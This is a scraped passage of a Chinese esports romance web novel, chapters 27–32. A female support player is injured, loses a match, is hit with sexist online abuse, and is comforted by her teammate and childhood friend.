而一旁的程舟看着任哲文的身影微微愣住了,而后又鬼鬼祟祟地往齐呈枫耳边凑,生怕这场无硝烟战争的柴火不够:“你猜你的这位小情敌是不是也要加入呢?” 齐呈枫不悦地皱眉看向门边的任哲文,但很快又平静下一口气扭头看向宣依。 休息室的窗户微掀着,缕缕春风拂过宣依的碎发,落日余晖的泛泛橙光下,宣依靠在最里侧埋着头,小半张脸陷在队服衣领里,只能看见飘飘碎碎的发丝下她拧着眉头,情绪并不高。 她也不欢迎任哲文吗? 但这件事还是得顺其自然地发展,她并不会开口拒绝任哲文的加入,而齐呈枫欲要开口又止住了……他也没有这个立场和身份替宣依做决定。 一直到超市门口汇合,宣依的情绪都很低沉。 齐呈枫才隐约意识到了这份不高兴的源头并不在此。 “依依,你心情不好吗?”秦珠自然也能察觉,很快也将问题归到了任哲文身上,“是因为那个任哲文也来了?” 三步之外,齐呈枫看着宣依的背影,见她的脑袋慢悠悠摇了摇。再往后,她细小的嘟囔声被喧嚷的超市广播给盖住。 程舟刚进超市就将他往肉食区带。 最后望去时,宣依低沉着头,而身旁秦珠大大咧咧的似在打抱不平“怎么这样啊?!” 一行人各自在超市逛了起来,走得分散。 但这个点,大多数的蔬菜都不那么新鲜了,菜架子上残留着阉掉的菜叶以及别人挑剩的残次。 程舟在冰块上扒拉着几块看上去新鲜点的毛肚往塑料袋里扔,然后扯起其中一块举到了齐呈枫面前:“你看这块形状……” 而齐呈枫的视线远远地看着冰柜前蹲下身子的宣依。 话还没说完,齐呈枫的身影伴随一缕风从程舟身边闪过。 “卧槽!”程舟顺着齐呈枫奔向的方位看去,丢下手中的袋子和毛肚也奔了过去。 推货的车从仓库的斜坡下来,被斜坡上的瓜果皮一坎坷,堆在最上面的箱子猛地从侧前方抖下来。宣依仰头与后撤躲开仅一瞬,心跳还未平复过来,便看见整个推车也随之倾倒过来。 推货的人把住了重心拉稳了推车,但除了最底层的两个箱子统统都甩了下去。 宣依还蹲着身子,下意识地抬手挡住了往她身上砸来的箱子,不知里面装着什么重物,手肘被箱子猛地往回压,关节骨伴随回压的力“噔”一声,宣依吃痛地呼出了声。 “嘭”, 箱子被宣依挡住后落在了她身侧。 随之涌来的是工作人员接连不断的道歉身以及一丝熟悉的温度。 齐呈枫蹲下身捏住了宣依还挡在头顶的手肘拉到了他视线前,他的力道并不大,也没有很突然,可宣依还是因为这个动作幅度的拉扯拧了下眉头。 在一大堆的“对不起”和“今日特价”中,齐呈枫的声音尤为清晰——“走,去医院。” 秦珠也奔了过来:“依依!你没事吧!” “依妹!”程舟以及其他人都围了过来。 宣依的朋友很少,秦珠是唯一个……不知为何,手肘以及关节的疼痛都没让宣依掉一滴泪,围在身边落下的重重身影却让她鼻尖一酸。 “别哭,”齐呈枫的手臂蒙上宣依快要模糊的视线前,他语气里总带着的那股不耐烦在队服的橙黄色袖口前变得模糊,每一个字都显得温和,“我们去医院。” 当下,宣依手肘的疼痛已经麻痹,无关痛痒。她下意识想拒绝,却成了沉默地点头。 随之视线再次变得明亮,温度也从手腕散去。 湿润的眼眶视线还是些许模糊,星星点点组成的画面是齐呈枫背对着自己蹲在身前,松松垮垮的队服因为他弓腰的动作印出一条半隐半现的脊椎线。 明明受伤的只是手,甚至都不算伤,可齐呈枫蹲在宣依面前让她跨上背,再在人群中站起身随着视线迈步,这一切都发生得格外自然。 “真不要我们一起?”任宙跟上来,尤为担心。就如此不巧,战队的辅助接二连三受伤、退队。 “不用,你们继续挑吃的。”距离太近,他的声音在喧嚣的世界里别有韵味。 宣依的头埋在齐呈枫的左肩处,脸颊微微贴向了他的脖颈。从父亲去世,她就再也没有感受过这个视角了。 弓着的背贴合着她的幅度弯曲,像趴在了一张量身定做的床上。脚悬在空中,未落实的感觉很不自在,但却因为齐呈枫稳健的步伐并不缺安全感。 声音在向前的步子里越来越遥远,宣依陷在这份安全感中渐渐合上了眼。 晨昏的风带着凉意袭来,宣依眼角的泪再也不受控地浸湿了齐呈枫的肩头,意识到后又默默抬起手垫在 28. 这是第二十八章 《这个辅助有点野》全本免费阅读 回超市的路又变成宣依走在前面,齐呈枫跟在身后。 昏沉的云霞印在天边,宣依的步子迈得较快,特别是当齐呈枫快步欲要齐平时,宣依会挪着她的小碎步再次拉开距离。 等众人再度汇合时,原先贴在一起的两人此刻隔开了一米多的距离。 归入集体后,宣依难得走在了队伍前列,看似为了带路,更多是为了让距离始终拉开。 秦珠将手里的一堆东西递给程舟后便嘻嘻哈哈溜到了前列,刚抬手挽住宣依胳膊,随着“嘶”的一声,手就被猛地抽出。 很疼,不知是被医生捏那两下还是什么原因,此刻的疼像是经过一番缓冲后的最总结果,很清晰的疼,像是皮层内的组织向着两端分崩离析。 “啊,对不起啊依依,”秦珠后知后觉反应过来也迅速扯回手,“医生怎么说啊?很严重吗?” 在秦珠的记忆里,宣依是个鲜少喊疼的人,哪怕眼睛湿漉漉的也不会轻易承认。 宣依摇头:“没什么,明天就好了。” 秦珠还是不放心地绕到了她的另一侧:“那就好。” 一行人跟着宣依上了公交,又经过几番转站,再下车时周围的一切都格外陌生,说热闹却没什么行人,说偏僻身后就是正在建设的地铁线。 这是一个距市中心较远的建设中片区,入眼最多的是外脚手架和吊机。 几个人抬眼望着,慢步跟在队列里。在一群少年的讨论声里,这些建设中的楼房也成了别样的风景。 宣依带路进了单元楼,按下电梯楼层。 一群人的电梯有些拥挤,距离也在不得不中拉近。 “真生气啦?”齐呈枫此时站在了宣依身旁,在摩肩擦踵里两人的肩膀也紧贴在一起,“我花个钱你都生气,这个样子……” 在缓缓上升的封闭空间里,脑袋有些昏沉,耳边的话又格外清晰。语气不太认真,慢吞吞的,以至于任何一个字都没有被身后的热议给淹没——“感觉像是妻管严。” “叮”电梯到达,外面的空气随着缓缓打开的电梯门扑了进来,宣依却还恍惚在“妻管严”几个字里。 等电梯门完全敞开,露出熟悉的走廊才将她的思绪拉了回来。 宣依迈步往右拐弯,手指按在了门把手上,顺着“认证成功”几个字的机械音,拉下门把手推开了门。 这番动作的一气呵成,像是做完之后就会结束那种奇怪的感觉,但看见灰白色调空荡的大平层后,那几个字再次在脑海里画上着重符号。 “要换鞋吗?”程舟贴在门边已经迫不及待要进去了。 宣依呼了口气:“直接进就行。” 一行人的分工格外明确:宣依提供了场地和工具,剩下的事情就交给了这群男生。 “要不要喝点小酒啊?”郑晨边切着肉片边向其他人征求意见。 “喝什么?”任宙冷冷的声音做了这句话的第一句回应,“明天不训练了?后天不比赛了?” “晨儿,你是休息几天就飘了啊。” 几个人的笑声填满了房间。 “错了错了,宙姐。”郑晨也立马认怂。 但他们买东西的时候太注重于美食,以至于没有一个人想起来拿饮料这件事,齐呈枫淡然地站起身:“那我去买点饮料吧,你们喝什么?” 经过一番零碎的统计后,他才暴露了目的:“可是我对这一带不熟诶,宣依要不然你和我一起去?” 像是在询问,但这个答案却是唯一的。 “齐少爷,你们有钱人连导航都不用吗?”任哲文靠在沙发上晃了晃手机。 这句话得到了宣依莫大的支持:“这边路不绕,地图能看懂。” 连迷路的借口也不给齐呈枫留下。 但意料之外,地图屏蔽了状态栏的电量,等齐呈枫发现的时候,岌岌可危的电量已经消耗殆尽自动关机了。 他凭着记忆里最后的地图模样,找到了那家超市,但由于出口和入口是两条路,经过超市迷宫般的货架迷惑,齐呈枫真还迷路了。 看着陌生的街景又折返准备从超市入口出去,但被工作人员拦在了入口处,理由是只进不出。他没办法又回了收银台找人问路,但这片区刚建设,对于这些小区名什么的,鲜有人已经分清。 最后只能草草问个时间出了超市。 已经七点多了,更多的询问机会也因为入夜来往人过少而变得难得。 天色愈沉,“您拨打的电话已关机……”第十一次在房间内回荡,任宙再次挂断了电话:“什么情况,买个水还买失踪了?” “可能就想要宣依去接吧。”任哲文若无其事地夹菜。 其他人也有些不安,任哲文身为一个外人他不了解齐呈枫,但他们都知道齐呈枫绝不是一个会处心积虑耍心机的人。 宣依在任宙拨打第十二次时,搁下了筷子起身到门边换鞋,蹲下身系鞋带。 任哲文后仰着身子看向她:“宣依没必要,一个成年人能发生什么?你去找了不就相当于进他圈套了?” 被其他几人冷淡的目光里,任哲文有些心虚地问:“难道不是吗?” “如果有事,现在耽搁不起分毫,”宣依站起身掰下门把手,“进他圈套代表他没事仅仅只是关机的话,那就进了呗,又会怎样。” “与他的安全相比,不值一提。” 门被关上,她的声音也随之被隔绝。 出了电梯后她便往外面奔,好在建设中的片区并不算便捷,周边只有那一家超市,所以他的方向至少是固定的。 夜已悄悄降下,碎发迎风飘荡,摆动时的手臂忽而蔓延上来的刺痛被忽视掉。 她的身影驰过绿荫下一盏盏橙黄路灯,重叠的影子忽长忽团地变化着,直至看见远处的亮光,她才稍稍歇步。 从超市进去,边喘着气边穿梭在货架之间。 偌大的超市却格外静寂,就连广播声都很平淡,这样的环境里有人走动都是明显的,可即便这样,宣依还是绕过了每一排货架一一寻找。 再出超市时,任宙的电话打给了她。 那头还没来得及说话,宣依就喘着粗气开口:“他回去了?” 29. 这是第二十九章 《这个辅助有点野》全本免费阅读 郑晨的手已然好全,但谁也没主动提及比赛上场的事情,郑晨很自然地补到了副队的辅助位上。 训练还是一如往常,但宣依的手并没有像预料中那样快速地好起来,兴许是自愈能力差,宣依也没放心上。 等到了比赛当天,宣依捏了捏手肘,似乎疼得愈烈了,在一群人围成的圈里她依旧淡定地抬手搭在了众人手背的最上层。 顺着“永不言弃”的尾音,一只只手扬起。 宣依扶了扶自己的手跟在队尾穿过走廊上了舞台。 今天的对手是曾经的夺冠热门之一,Sky。 就连观众席也变得热闹纷纭,明晃晃的灯牌都很统一地呐喊着Sky的名字。 CY的登场像是不受宠的孩子,在不属于他们的欢呼声里默默入座戴上了耳机。 第一场比赛开始。 宣依选择了大乔,齐呈枫也随之选了公孙离。 双方的阵容都是老英雄,开局也和所有比赛一样,双方都保持在不攻不退的节奏里。 直到第四波兵线清完,东皇太一的技能扫中了蹲在草丛的程舟,对面射手向另一侧墙体挪动往前。 已经有了视野却还在靠近……宣依扫了眼地图上那些红色边框的视野,只有一个刚从上路防御塔消失的上单,其他人都没有视野。 也就是,打野和法师有可能都在。 得到这个答案后,宣依将三技能拖向了敌方防御塔旁的草丛。 沉默效果间,两人的头像出现在了小地图上,也在刹那间打野往前移加上技能的距离突闪到了下路。 如果是其他辅助,现在撤退是最好的选择。 宣依手指移向大招,在挪动技能位置时,疼痛感顺着拇指的伸直而延伸开,指尖直直落在了技能键上,以至于大招的位置落在了敌方防御塔下。 凌一鸣按下传送时才意识到:“干扰!” 但上一波被压的时候,宣依的干扰已经用过了,等凌一鸣的娜可露露传送过来便被防御塔锁定,在塔下输出终归是吃亏的。 魏晟的猪八戒传过来后直接接了个大招封了敌方走位,扯着二技能将法师推到了大招上,但这个二技能也同时将敌方推出了程舟刚落下的大招和控制。 “艹!”程舟下意识脱口的声音从耳机传来有些刺耳。 娜可露露出防御塔短暂一秒又按下大招飞了进去,抗塔的变成了猪八戒。 公孙离一技能朝前按下,刚跑两步就被混乱里大乔的二技能送回了泉水:“啊?” 宣依“啧”了声,抬起了操作技能的右手在一旁甩了一下,但疼痛并没有随着摆动的这两下轻易散去,她只能硬着头皮朝那个错放二技能的地方重新按下一技能。 可惜,分分秒秒的时机都会改变整个局势。 她的一技能将八戒原本命中的敌人直接推开。 混乱的团战里,CY还少了一个输出。 很乱,但他们也没有输得很惨,至少有两声播报里是没有“enemy”的。 大屏幕里的英雄头像一下灰掉了六个,网上的讨论声随着这波团战变得激烈。 与百尚那场只能算是小风波,但这一场就半分钟的团战已经在超话里火速传播,很快便咬住了热搜词条的尾巴。 宣依的右手悬在了暗掉的技能键上:“对不起。” 前期的复活倒计时很短,没有时间让他们复盘谁对谁错,也没有时间让他们鼓舞士气地互相安慰。 耳机里的呼气声交错传来。 “没事没事,加油。” 这是他们能留给彼此唯一的鼓励与安慰。 公孙离与Sky两人周旋,最后还是放掉了一塔,好在因为这番周旋,野区没乱,两路兵线也没乱,局势并没有变得一发不可收拾。 宣依为了避免手疼带来的失误,将原本的主动辅助装换成了被动的。 第二波团战的降临远比他们想象中来得要快,为了驳回一波经济差,凌一鸣思路很清晰地将野区扫完后向暴君坑边移动边开口:“舟,占个视野。” 对面射手的视野在上路,齐呈枫和宣依便趁此机会将下路塔给推了,刚好射手的视野从传送阵下来。 宣依往前放了个二技能,让齐呈枫有了安全撤离的路,自己往下草走去。 等待着齐呈枫回好状态借着二技能以及泉水的加速再次回来。 意料之外,齐呈枫再次回来的时候,失去视野的东皇架着一段闪现突然出现,配合着宣依放反,朝着敌方射手落下的一技能,成功突脸齐呈枫。 两人大招同时按下,出现了一个拉开距离的吸人。 “我服了。”好在控制方向的手依旧灵敏,她移动着牵制对面射手。 等东皇技能结束,齐呈枫便用一技能朝着宣依方向放去。 两人汇合,齐呈枫状态并不好,只能边拉开距离边输出。 而敌方的另外三人扰乱了凌一鸣的打龙,加上魏晟一个已经落地的大招,上路龙坑也开了一波不得不的团战。 宣依并没有时间拉视野,只是匆匆放下一个带着微弱伤害的大招,和齐呈枫往后撤。 等着二技能cd落下,宣依再次点下二技能。 由于手疼,避免失误她趁着刚才团战的死亡将技能命中的设置给改了,确实减少了失误,也导致了更大的失误。 二技能的自动命中在敌方脚下,宣依拉着那个蓝色的圈往身前的路径上放,却意外直接落在了脚下。 他们得因为这个失误临时二选一:站在原地拼丝血回城又或是无视这个二技能直接往二塔撤。 播报里已经响起上路一波团战的结果。 “Anenemyhasbeenslained” “Anallyhasbeenslained” “Enemykillingsuree” 程舟放完一套技能后连伤害也不补一下便估好秒数来下路支援。 看见泛起涟漪的大招,齐呈枫也毅然选择了第三种方案,拼死一搏。 宣依的三技能落在敌方脚下,程舟也按下刷新的二技能勉强控住了两人。 齐呈枫一个狂暴便开始输出,他的血量已经很低,倘若那时宣依带的是救赎,便定能让对面两个已经丝血的英雄一举拿下。 近在咫尺的残血射手在控制效果消失时在东皇的救赎下猛地开始回攻,吸血刀绵薄的吸血竟让一切的反转就此发生。 齐呈枫比他们俩更先掉。 程舟除了刷新的一二技能只能戳着平a键反抗,一个人头跨越了整个河道被辅助收割了。 一切都随着这波分隔两地却完美落败的团灭进入了不得不的趋势。 众人灰掉的屏幕里,谁也没有开口。 选手台一片死寂,观众席随着大屏幕里的“Ace”欢呼声此起彼伏。 更热闹的,是那群在网络上无所顾忌的吃瓜群众。 压迫一个人好像是他们的快乐源泉,那些人天生带有优越感,就连自己无所接触的领域也总是咄咄逼人。 【好low的辅助啊,我拿脚趾都比这牛逼……噢原来是个女的啊,怪不得】 【这操作上比赛给我们女生丢脸的吧】 …… 难听的话就这么隔着屏幕肆无忌惮地敲下。 直至比赛结束,营销号借着热度将几波团战剪到了一起,尤其是宣依的失误,还会刻意慢放分析。 休息室里,宣依沉着头给众 30. 这是第三十章 《这个辅助有点野》全本免费阅读 厚重的云层压在低空,空气显得沉闷而压抑。 齐呈枫的眼睛有些酸涩地望向了车窗外……看起来要下雨了。 人的记忆总是会在某个令自己魂牵梦萦的场景留下锚点,锚点出现便会牵动着回忆涌现。这样的天气让齐呈枫想起了宣依第一次值夜的那个雷雨夜。 在雷声轰鸣前,齐呈枫一个人靠在沙发上观看着某场比赛的全局录制。 但他看得走心,每过一分钟都会回头看看前台的身影,这时总归有些庆幸训练室的玻璃是单向的,可以不动声色地看着她。 埋着头,捏着笔不知再写些什么。 马尾垂在肩侧,时不时会抬起一只手撑住下巴放空一小会儿。 暴雨落下的时候,齐呈枫再次回头,恰巧撞上宣依拉下了电闸的一瞬。 灰暗里她的身影检查着一扇扇窗户,齐呈枫慌乱地扯着抱枕倒在了沙发上,他甚至自己都不知道睡着时该是什么样子。 但宣依一点点靠近的步伐让他还是丢不下形象,稍稍正了些身子摆出了个有些做作却又格外自然的睡姿。 闭上眼,听着暴雨与雷声轰鸣里渐渐靠近的脚步声。 他其实知道,留在这儿陪她这个行为其实很多余。 小女孩不怕事,无论是现在还是从前。 十年前的陈年往事了,宣依刚搬过来迁完行李,在齐父齐母的建议与帮助下,学籍也跟着迁到了齐呈枫的学校。 最开始他们两人是一起上下学的。 后来某一天,宣依温声询问齐呈枫:“哥哥,我可不可以不和你一起去上学啊?” 那时的宣依个子很小,看上去娇娇弱弱的。 那时,齐呈枫和她的交流只停留于一起上下学的后座,即便疑惑他也没有多问,只是平淡地陈述事实:“但家里就两个司机了,一个司机送我们一个送姐姐,没有多余的了。” 小女孩低着头,手指捏搓着衣角,良久再次抬起头,脸上挂着不咸不淡的笑容,很不由心却让人无力戳破:“没关系的,我可以自己坐公交去学校。” 话落,她又慢吞吞补充着:“这件事可不可以不要告诉妈妈?” 齐父从小就教姐弟俩要体谅他人,齐呈枫闻言也没有多说什么便同意了。 很多事情是随着这件事接踵而至的。 没过两天,齐呈枫的跳级考试过了再然后是齐父齐母陪着齐溪一起去办出国的手续。 齐呈枫跳级的第一周,对班里的人都还很陌生,那些人的个子比他高,比他壮,走到面前时齐呈枫便主动给他们让路。 可齐家大少爷的身份让他在班上始终保持着过高的存在感。 那个周五开家长会,齐父齐母都不在,再加上时差这件事没能及时通知到接送的司机,导致齐呈枫只能坐在操场的树荫下等待。 一群等着家长开会的几个男生见到端着书默默坐在角落的齐呈枫,便团团围了过来。 黑影罩在了书本上,齐呈枫抬起头看向那一张张不算陌生的面庞:“有什么事吗?” “齐呈枫,听说你家很有钱啊?”站在最前面的一个男生开口。 齐呈枫摇了摇头:“我不知道。” “嘁,你还不知道,我看就是瞧不起我们这些普通家庭的孩子吧……又是跳级又是特殊位置的,谁不知道你家里有两个臭钱啊?” 那是齐呈枫第一次接触到世界的恶,一群年龄长于他的人,说着一些从未听过的话。 “诶,你家长都不来开家长会的啊?这么吊?” 他们围在身前,齐呈枫不想回答这些乱七八糟的问题,合上了书准备起身。 腿还没站直,站在面前的男生往前迈了一步,拔高的个子迫使齐呈枫不仅无法起身还往后靠了些。 “怎么?这么瞧不起你的同学们啊?聊个天都不愿意啊。” 齐呈枫随着身前几人的逼近,不断后靠直到整个人都缩到了一起:“我没有,我得回家了。” “大少爷还会自己回家啊!?”几个人仿佛听到了天大的笑话般仰天笑了起来。 打断这片笑声的是一颗精准射击那人背脊的石头:“笑得真难听。” 几个人随着这颗石头抛来的方向看过去。 小女孩个子不高,站在几阶台阶之下,随着几个人纷纷转身的空隙,看清了被围在内圈的人:“齐家的人你们都敢欺负呀,小心明天就被开除。” 她的声音糯糯的,听起来一点威慑性也没有,握着颗石头闭着一只眼,还没抛出去,那群人便跑了。 齐呈枫缓缓站起身看向她:“宣依,你怎么在这儿?” “我妈妈开家长会呀,我在这儿等她。”宣依说着将手里捧着的一整板AD钙往前递,“你喝吗?” 两个小孩坐在树下喝起了AD钙,忽而一颗小豆子从树上掉落砸在齐呈枫头上又滚到了两人之间,齐呈枫揉了揉后脑勺弯腰捡起,递到了宣依面前:“怎么瞄的啊?” 宣依接过小豆子随意往前一抛:“你学这个干嘛?” 说着她将空瓶小幅度晃了两下,丢进了带盖的公共垃圾桶里,继续道:“我最近学了一个骂人的词,但是你别学啊,那群傻逼说的话你那么在意干嘛?” 谁也不知道,这个词是在别人骂她时学会的。 “你呢,有齐家撑腰,有什么仇什么怨当场报复不就完啦?你好像不需要顾忌什么吧。” 齐呈枫呆呆地看着眼前的女孩,小男孩幼稚心大,其实也没有将那些话放在心里,他只是单纯想学一下厉害的瞄人。 但等宣依的话落下,他还是不自觉地点点头:“知道了。” 两个人喝完了AD钙,又蹲在台阶上玩起了潦草的五子棋。 直到有家长从教学楼出来,齐呈枫才回过身去看:“我们是不是要回家啦?” 宣依沉着头,将手掌贴在未削平的石阶上猛地一滑,鲜血随着掌心缓慢流下。 无人回答,齐呈枫回头,兀地一下被眼前的刺眼的红怔住,伸手握住宣依的手腕:“你干嘛呀!不疼嘛!?” 宣依皱着眉头,自然是疼的,刻意去受伤可比不经意间的疼痛来得真实猛烈,她用另一只手抹了下血,染在齐呈枫的脸颊和手掌,为了显得逼真她反反复复弄了很多次。 虽然最后的结果和她手上的痕迹相比差距了然,但她还是笑着站起身:“哥哥,不要被欺负了。” 说完宣依从兜里拿了张纸擦手,拧着眉头将纸捏在伤口上:“如果他们要告状,你也告。” 看见章文 31. 这是第三十一章 《这个辅助有点野》全本免费阅读 窗外阴沉的天在阵阵狂风后落下倾盆大雨。 宣依蜷缩在沙发上,戴着卫衣的连帽,关了机的手机丢在茶几上,屋内似是与世界隔绝般沉寂。 思绪凌乱在她的脑海。 事情的发展总是不尽人意,从加入战队的那天她就知道肯定会有质疑声的,但这片质疑声远超她的想象,或者说,成千上万条评论首当其冲的全是那些质疑声。 周围的静寂仿佛无人深渊。 此刻,所有埋藏在记忆里的糟糕回忆被这片深渊牵引,那些熟悉却又久远的话将宣依压得越来越沉。 她的双手捂在心口,却无法抑制地难受。 泪水从眼眶溢出滴在沙发垫上晕染开深色,一块又一块的痕迹随着她的颤抖而落下。 哭也是情绪的窗口。 甚至比大多数安慰来得有用。 她缓缓直起身,准备去洗个脸,脚刚落地门铃声也随之响起。 这个偏远的建设区,鲜有人来。 宣依又抬起落地的脚,不再发出一点动静。 门铃响了又响,声音回荡在房间里。 屋外的人等了良久才开口:“宣依!” 紧接着是阵阵拍门声。 隔着厚实的门,声音不算清晰。 宣依是听到声音后才落地踩在了拖鞋上,缓缓走向入户门,贴在门边:“齐呈枫?” “是我。”语气坚定而平淡。 宣依的手附在门把手上却迟迟未动。 “你不开门也没关系,”齐呈枫气息并不稳,说话时微喘着气,“就听我说吧。” “我没办法让你不在意网上那些人的评论,但你不要相信他们说的,你的数据在整个KPL的辅助里都是拿得出手,名列前茅的,即便是你发挥失常的那局也比那群只会旁观说大话的路人出色,”齐呈枫渐渐平稳下来气息,温柔的调子一字一句,“这种事情本就没办法让每个人都满意,你对得起队友,对得起赛场就够了。” 宣依贴在门边,冰凉的温度盘旋,却好似她此时唯一的支撑。 “不要忘了你所说的电竞精神,”隔着一扇门,声音却极具穿透性,“宣依,不服输的才是青春。” 脸边的冰凉慢慢散去,握着门把手的手向下按,走廊的灯光随着渐渐拉开的一条缝隙冲进来。 宣依缓步从门背后探头看向屋外。 走廊白炽灯光下,齐呈枫身上那件橙色队服的肩头也落得一块块深色的水渍,头发湿漉漉的,眼睛也雾蒙蒙的,看见宣依的一刻微微皱起眉头。 “你,淋雨了?” 明知故问。 齐呈枫没应,缓缓偏头看着趴在门边的宣依,脸颊上还有深深的泪痕,眼眶红红的,被浸湿的睫毛随着低头的视线垂下,抿着嘴,懵懂惹人怜的模样像是犯了错的孩子。 暴雨拍打玻璃窗,宣依扭头看向窗外。 一只手按在了她乱糟糟的头发上:“听进去了没?” 按在头上的手还顺着她点头的幅度下沉:“听进去就好,手受伤了,比赛的分析还是得来的,要不然又要补课了。” 头上的手在话语间撤了回去。 宣依回过头来微微仰视着齐呈枫:“你要回去了嘛?” “嗯,不然感冒了会影响比赛。” 齐呈枫顿了顿,又补充道:“我微信在线,你可以找我,随时。” 宣依点点头,齐呈枫便转身往电梯间走。 他孤身前来,带来一两句话,又拖着湿漉漉的身子孤身离开。 知道宣依大概不会看消息,也知道隔着屏幕没有温度的文字对宣依来说与网上狠毒的评论无法相比,所以他来了,行色匆匆只是为了确认宣依听进去了,为了让宣依知道他永远属于她的阵营。 随着走廊声音淡下,灯光熄灭。 黑暗中,只有电梯显示屏微弱的亮光,那个沉入灰暗里模糊的轮廓一动不动地站在电梯前等待。 “齐呈枫。” 一声清澈的呼喊,走廊又亮堂起来。 齐呈枫扭头看向站在门边的宣依。 画面的重叠,齐呈枫总觉得此刻不远处的女孩也像那晚一样怀揣着很多心事。 可他并未出声询问,在灯光又要在沉寂中暗下的一刻,电梯门随着“叮”的一声缓缓打开。 “我走啦,有什么事微信,电话都可以。” “你留下来吧。” 一句话,周遭比灯光暗下时还沉寂。 齐呈枫的脚步也顿住。 电梯门完全打开,里面空无一人。 两扇门向他敞开,一近一远。 隔绝了磅礴大雨,走廊格外沉静,两个人隔着很长一段距离,宣依没再为那句易被误解的话填上后缀,手扶在门框边,也不催促一个结果,只是默默等待。 电梯门在齐呈枫止步不前中缓缓关上。 而他对岸的那扇门始终被宣依的手支撑着,敞开着。 半刹,他抬手按下向下的电梯键:“好。” 只留下了这个字,他走进了电梯,宣依看着电梯门缓缓合上。 齐呈枫的最后一丝存在感也被抹去,残留的是在脑海里那个与之行为相反的“好”字。 口是心非。 这是一番心里挣扎后,为这件事贴上的标签。 宣依缓缓关上门,回到沙发,已然忘记洗脸的事,靠在沙发上,扯过抱枕环在身前,抬头看向天花板。 有些恍惚。 突然出现在门前的齐呈枫,淋了一身雨却只是撂下几句不知所以的话。 此刻的思绪凌乱不再因为那些陌生人的言论。 良久,她缓缓坐起身拿起手机开机,看着屏幕从一片黑暗里亮起手机logo,还是不由衷地想起了几句无法轻易抹去的叱骂。 一条条消息弹窗缓冲着重新接收信息的手机。 在稍稍的待机卡顿中,她又一次不自觉地点进了微博,搜索词条下方已经有了为她量身定制的词条“CY战队女队员”。 一切的动作都成为了下意识。 随着加载圈载入,宣依呼了口气看向屏幕内渐显出来的内容,映入眼帘的从一则视频或是相关讨论变成一张图片,发布者的昵称透着一股子正式感——海浔朝阳俱乐部。 一则需要展开查看的长篇大论。 宣依点开。 句首便直奔主题“关于近期我俱乐部队员Hu 32. 这是第三十二章 《这个辅助有点野》全本免费阅读 齐呈枫站在门口手里提着一大袋东西:“这次都没用导航了。” 轻松的语调却无法让人忽视他湿透了的外套。 宣依怔愣在门边,看着他。 “怎么?现在又不欢迎了?”发丝的雨珠顺之掉落,他的嘴角还挂着淡淡的笑意。 进屋后,变得有些拘谨的反而是宣依,齐呈枫进屋后从袋子里挑了些东西后便进了洗手间。 宣依端正地坐在沙发上,手里握着手机却时不时瞟向洗手间的动静。 手机微信里还堆着一大堆未接收的信息,宣依只能借着这个分散一下注意力了。 但也只是潦草看看,不擅长人际交流好像已经成为了她的标签,哪怕对那些问候安慰有说不尽的感谢,她也只会在聊天框内输入“我很好,谢谢”。 以至于三分钟过去,她虽然看完了每一条消息,但消息列表一排下来的回复却格外统一。 但秦珠不同,她除了最开始的一两句【不开心就不打了呗】后面又变得日常起来,宣依在一条条有趣的分享里渐渐放松下来,挺直的背也缓缓陷进了沙发里。 直到翻到了昨天凌晨她值班时的谈吐。 【珠:啊啊啊啊啊!依依快看!】 配了一则视频。 秦珠只能算是半个追星人,她鲜少在宣依面前提及自己喜欢的明星,图上的明星是她前些日子追剧粉上的一位男星。 甚至不需要点进查看,视频的封面便已经是重头戏。 暖光之下,露出大半个脊背,线条勾勒清晰挂着不均匀的水珠。 宣依的手微抖。 此刻的洗手间还被噼里啪啦落在地上的水声占满。 宣依扣下手机看向洗手间的灯光,和视频封面如出一辙的暖黄色,透过磨砂玻璃还能依稀看见里面的黑影,越看越出神,她曾零距离靠在过那面脊背上,甚至清晰感受过那条脊柱的模样。 在不自觉中,泛红的耳根替她将齐呈枫此刻的模样临摹下来,就在两张画面快要重叠之际,水声戛然而止。 她猛地将头埋进了抱枕里,又缓缓抬手翻过手机,将那条视频从聊天记录里删除,欲想连同这段想法一起删掉。 真是疯了! 宣依将手机丢到一边,抬起手捧住自己的脸颊,而后轻轻拍了拍。 浴室门打开,齐呈枫套着一件简约的白衬衫黑裤子,脖子上搭着一块毛巾,一只手扯着一头搭在头发上擦拭:“有吹风机吗?” 那些裸男出浴的画面顺着眼前真实的齐呈枫出现而烟消云散。 简约朴素的穿搭在他身上格外对味,沐浴露的香气随之在封闭的房间里蔓延开。 宣依缓过神来,后知后觉地答:“有,我给你拿。” “嗯。”齐呈枫扯着毛巾蒙住了头发,边往沙发走边擦拭着湿哒哒的头发。 宣依从架子上取下吹风机,解着缠在上面的电源线,递给了齐呈枫。 他扯下搭在头发上的毛巾,拿着吹风机走到电视柜旁找了个插座。 躁躁的鼓风声在房间里响起,齐呈枫背对着沙发,一只手举着吹风,一只手拨弄着头发。 宣依视线绕着客厅环视了一圈,想要找点东西分散自己注意力。想开电视,遥控板在电视柜上,想看手机,但一拿起手机就想起那张已经被删掉的视频封面。 最后,视线不自觉就落在了齐呈枫的背影上。 白色衬衫有些宽松,隐约透着他的腰部线条。 宣依抿唇,有些出神。 鼓风声的存在感太强了,没办法忽略。 一侧头发吹得差不多后,齐呈枫转过身吹另一侧因为缠绕着的电源线长度限制而未吹到的边缘。 他下意识想借着转身的瞬间看看宣依在干嘛,却猝不及防地与之对视上。 吹风机呼呼作响,窗外大雨将天色衬得阴沉,两人的对视却在这片喧嚣里异常安静。 谁也没开口,谁也没撤回视线。 宣依只是因这突然的转身与对视不自觉捏住了抱枕的一侧,软绵绵的,就像此刻的对视好像也没什么可怕的,乌黑瞳色里是无边界的温顺。 直到吹风机的温度长时间停留在一处堆积得发烫,齐呈枫才沉下头晃动吹风机。 结束了这场对视。 吹完头发,齐呈枫取下插头照着最初的模样慢悠悠卷线:“我还买了点菜,你这几天没好好吃饭吧。” 他有这个问题的答案,以至于语调都是陈述:“待会就在家做饭吧。” 这些陈述句太过日常,以至于此刻的画面有些像生活多年的老夫老妻在某个平凡的日子提了个平凡的建议。 有点像……家? 宣依捏着抱枕的手越来越紧。 - 但正式进了厨房后,一切便有了真实感。 齐呈枫一个豪门大少爷,别说切菜炒菜了,就连厨房都没进过,但又坚决地将宣依拒之厨房门外,进厨房前还打开了电视:“交给我。” 宣依家的厨房是半开放式的,和客厅连在一起。 电视从打开后便一直停留在主页,推荐影视的小窗在上面不断切换,宣依皱眉看着厨房里齐呈枫切土豆的模样。 菜刀与刀在“嘭”的一声中将土豆分成了两半,又一声,土豆其中一半又分开。 从二分之一到四分之一再到八分之一。 宣依眉头就没舒展过:“你切菜的方式挺……独特。” 